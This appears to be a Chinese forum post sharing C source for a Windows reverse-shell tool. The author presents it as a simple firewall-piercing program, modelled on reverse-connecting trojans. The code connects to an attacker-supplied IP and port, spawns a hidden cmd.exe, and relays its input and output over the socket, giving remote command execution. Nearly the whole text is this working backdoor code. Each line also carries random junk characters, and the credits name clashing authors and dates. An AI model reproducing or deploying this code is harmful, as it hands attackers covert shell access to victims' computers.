这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 w zqd
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/* ============================== gZl w
Rebound port in Windows NT WAB0e~e:|Q
By wind,2006/7 VkDS&g~Ws
===============================*/ Va@6=U7c
#include sCtw30BL
#include S1^nC tSF
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#pragma comment(lib,"wsock32.lib") 9Ue7
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void OutputShell(); q)V1{B@
SOCKET sClient; {[,Wn:
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^0~c7`k`V
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void main(int argc,char **argv) ;EJPrDHTk
{ 0SMQDs5j
WSADATA stWsaData; i#RElH
int nRet; O}MZ-/z=o~
SOCKADDR_IN stSaiClient,stSaiServer; ~mK-8U4>K,
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if(argc != 3) Du^x=;
{ Wm)-zvNY;
printf("Useage:\n\rRebound DestIP DestPort\n"); jF2[bzY4
return; Zj1ZU[BEcL
} ESD<8OR
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WSAStartup(MAKEWORD(2,2),&stWsaData); _,_8X7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lk_s!<ni
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stSaiClient.sin_family = AF_INET; ik2-
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stSaiClient.sin_port = htons(0); Ht|",1yr+
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); I z}2
^
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,u}<Ws8N
{ .pM
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printf("Bind Socket Failed!\n"); >f\zCT%cf
return; k,,!P""
} Fn86E dFM
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stSaiServer.sin_family = AF_INET; +{xMIl_
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); bZ>&QM
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 'e.q
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +_qh)HX
{ S3uyn78hI
printf("Connect Error!"); Fn:.Y8%-
return; rDVgk6
} $gVLk.
OutputShell(); [_WI8~gY
} v%lv8Lar'
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void OutputShell() })@tA<+
{ 2)wAFO6u
char szBuff[1024]; &/s~? Iq
SECURITY_ATTRIBUTES stSecurityAttributes; "r8EC
OSVERSIONINFO stOsversionInfo; dh&W;zs
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7p)N_cJD
STARTUPINFO stStartupInfo; |d
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char *szShell; *(k%MTG
PROCESS_INFORMATION stProcessInformation; "hWJ3pi{o{
unsigned long lBytesRead; q*L
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); su&t7rJ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $+Vmwd;
stSecurityAttributes.lpSecurityDescriptor = 0; /xcJo g~F,
stSecurityAttributes.bInheritHandle = TRUE; "YJ[$TG
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 75ZH
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CoU3S,;*
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2\VAmPG.Zs
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -'6<
stStartupInfo.wShowWindow = SW_HIDE; YMT8p\#rp
stStartupInfo.hStdInput = hReadPipe; :
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; P/ci/y_1
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GetVersionEx(&stOsversionInfo); EY kj@
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switch(stOsversionInfo.dwPlatformId) }|Uj"e
{ B/mYoK
case 1: Hle\ON
szShell = "command.com"; )u;JwFstX
break; 8h|M!/&2
default: h3kaD
szShell = "cmd.exe"; IZ*}idlkn/
break; QBoFpxh=
} f])M04<
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }X]\VSF{
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send(sClient,szMsg,77,0); QdDObqVdy
while(1) oV9z(!X/
{ w$j{Hp6m
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _1
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if(lBytesRead)
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{ CbOCk:,g5
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >7'+ye6z
send(sClient,szBuff,lBytesRead,0); ]]TqP{H
} ;3;2h+U*
else ([R")~`(l2
{ WULAty
lBytesRead=recv(sClient,szBuff,1024,0); ,[isib3
if(lBytesRead<=0) break; H_w%'v &
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); s\gp5MT
} S/4r\6
} XWUP= D~
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return; zrRFn `B
}